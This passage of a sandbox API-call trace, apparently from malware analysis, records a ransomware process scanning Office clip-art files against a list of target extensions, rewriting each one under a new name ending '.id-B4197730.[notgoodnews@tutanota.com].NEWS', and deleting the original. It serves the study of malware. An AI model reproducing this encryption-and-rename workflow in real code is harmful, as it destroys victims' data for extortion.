(lpString=".zip") returned 4 [0081.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.258] lstrlenW (lpString=".rar") returned 4 [0081.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString=".bz2") returned 4 [0081.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString=".7z") returned 3 [0081.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.258] lstrlenW (lpString=".dbf") returned 4 [0081.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.258] lstrlenW (lpString=".1cd") returned 4 [0081.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.258] lstrlenW (lpString=".jpg") returned 4 [0081.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.258] lstrlenW (lpString=".doc") returned 4 [0081.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString=".docx") returned 5 [0081.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.258] lstrlenW (lpString=".pdf") returned 4 [0081.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString=".xls") returned 4 [0081.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.258] lstrlenW (lpString=".xlsx") returned 5 [0081.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.258] lstrlenW (lpString=".ppt") returned 4 [0081.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.258] lstrlenW (lpString=".zip") returned 4 [0081.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.259] lstrlenW (lpString=".rar") returned 4 [0081.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.259] lstrlenW (lpString=".bz2") returned 4 [0081.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.259] lstrlenW (lpString=".7z") returned 3 [0081.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.259] lstrlenW (lpString=".dbf") returned 4 [0081.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.259] lstrlenW (lpString=".1cd") returned 4 [0081.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.259] lstrlenW (lpString=".jpg") returned 4 [0081.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.259] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.259] lstrlenW (lpString="BS00136_.WMF") returned 12 [0081.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.259] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2166) returned 1 [0081.259] CloseHandle (hObject=0x31c) returned 1 [0081.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0081.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.260] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.260] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0081.260] GetLastError () returned 0x0 [0081.260] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x876, lpOverlapped=0x0) returned 1 [0081.261] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x880, lpOverlapped=0x0) returned 1 [0081.262] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.262] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0081.262] SetEndOfFile (hFile=0x39c) returned 1 [0081.263] CloseHandle (hObject=0x39c) returned 1 [0081.264] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.264] SetEndOfFile (hFile=0x31c) returned 1 [0081.264] CloseHandle (hObject=0x31c) returned 1 [0081.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0081.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.265] lstrlenW (lpString=".doc") returned 4 [0081.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.265] lstrlenW (lpString=".docx") returned 5 [0081.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.265] lstrlenW (lpString=".pdf") returned 4 [0081.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.265] lstrlenW (lpString=".xls") returned 4 [0081.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.265] lstrlenW (lpString=".xlsx") returned 5 [0081.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.265] lstrlenW (lpString=".ppt") returned 4 [0081.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.265] lstrlenW (lpString=".zip") returned 4 [0081.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.266] lstrlenW (lpString=".rar") returned 4 [0081.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString=".bz2") returned 4 [0081.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString=".7z") returned 3 [0081.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.266] lstrlenW (lpString=".dbf") returned 4 [0081.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.266] lstrlenW (lpString=".1cd") returned 4 [0081.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.266] lstrlenW (lpString=".jpg") returned 4 [0081.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.266] lstrlenW (lpString=".doc") returned 4 [0081.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString=".docx") returned 5 [0081.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.266] lstrlenW (lpString=".pdf") returned 4 [0081.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString=".xls") returned 4 [0081.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.266] lstrlenW (lpString=".xlsx") returned 5 [0081.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.266] lstrlenW (lpString=".ppt") returned 4 [0081.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.266] lstrlenW (lpString=".zip") returned 4 [0081.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.266] lstrlenW (lpString=".rar") returned 4 [0081.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.266] lstrlenW (lpString=".bz2") returned 4 [0081.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.267] lstrlenW (lpString=".7z") returned 3 [0081.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.267] lstrlenW (lpString=".dbf") returned 4 [0081.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.267] lstrlenW (lpString=".1cd") returned 4 [0081.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0081.267] lstrlenW (lpString=".jpg") returned 4 [0081.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.267] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.267] lstrlenW (lpString="BS00145_.WMF") returned 12 [0081.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.267] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1712) returned 1 [0081.267] CloseHandle (hObject=0x31c) returned 1 [0081.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0081.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.268] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.268] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0081.268] GetLastError () returned 0x0 [0081.268] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x6b0, lpOverlapped=0x0) returned 1 [0081.269] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x6c0, lpOverlapped=0x0) returned 1 [0081.270] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.270] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0081.271] SetEndOfFile (hFile=0x39c) returned 1 [0081.271] CloseHandle (hObject=0x39c) returned 1 [0081.272] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.272] SetEndOfFile (hFile=0x31c) returned 1 [0081.273] CloseHandle (hObject=0x31c) returned 1 [0081.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0081.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.273] lstrlenW (lpString=".doc") returned 4 [0081.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.273] lstrlenW (lpString=".docx") returned 5 [0081.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.273] lstrlenW (lpString=".pdf") returned 4 [0081.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.273] lstrlenW (lpString=".xls") returned 4 [0081.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.273] lstrlenW (lpString=".xlsx") returned 5 [0081.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.274] lstrlenW (lpString=".ppt") returned 4 [0081.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.274] lstrlenW (lpString=".zip") returned 4 [0081.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.274] lstrlenW (lpString=".rar") returned 4 [0081.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString=".bz2") returned 4 [0081.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString=".7z") returned 3 [0081.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.274] lstrlenW (lpString=".dbf") returned 4 [0081.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.274] lstrlenW (lpString=".1cd") returned 4 [0081.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.274] lstrlenW (lpString=".jpg") returned 4 [0081.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.274] lstrlenW (lpString=".doc") returned 4 [0081.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString=".docx") returned 5 [0081.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.274] lstrlenW (lpString=".pdf") returned 4 [0081.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString=".xls") returned 4 [0081.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.274] lstrlenW (lpString=".xlsx") returned 5 [0081.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.274] lstrlenW (lpString=".ppt") returned 4 [0081.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.274] lstrlenW (lpString=".zip") returned 4 [0081.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.275] lstrlenW (lpString=".rar") returned 4 [0081.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.275] lstrlenW (lpString=".bz2") returned 4 [0081.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.275] lstrlenW (lpString=".7z") returned 3 [0081.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.275] lstrlenW (lpString=".dbf") returned 4 [0081.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.275] lstrlenW (lpString=".1cd") returned 4 [0081.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0081.275] lstrlenW (lpString=".jpg") returned 4 [0081.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.275] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.275] lstrlenW (lpString="BS00174_.WMF") returned 12 [0081.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.275] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8366) returned 1 [0081.275] CloseHandle (hObject=0x31c) returned 1 [0081.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0081.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.276] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.276] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0081.276] GetLastError () returned 0x0 [0081.276] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x20ae, lpOverlapped=0x0) returned 1 [0081.278] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x20b0, lpOverlapped=0x0) returned 1 [0081.279] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.279] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0081.279] SetEndOfFile (hFile=0x39c) returned 1 [0081.279] CloseHandle (hObject=0x39c) returned 1 [0081.280] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.280] SetEndOfFile (hFile=0x31c) returned 1 [0081.280] CloseHandle (hObject=0x31c) returned 1 [0081.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0081.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.281] lstrlenW (lpString=".doc") returned 4 [0081.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.281] lstrlenW (lpString=".docx") returned 5 [0081.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.281] lstrlenW (lpString=".pdf") returned 4 [0081.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.281] lstrlenW (lpString=".xls") returned 4 [0081.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.281] lstrlenW (lpString=".xlsx") returned 5 [0081.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.281] lstrlenW (lpString=".ppt") returned 4 [0081.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.281] lstrlenW (lpString=".zip") returned 4 [0081.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.281] lstrlenW (lpString=".rar") returned 4 [0081.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString=".bz2") returned 4 [0081.282] 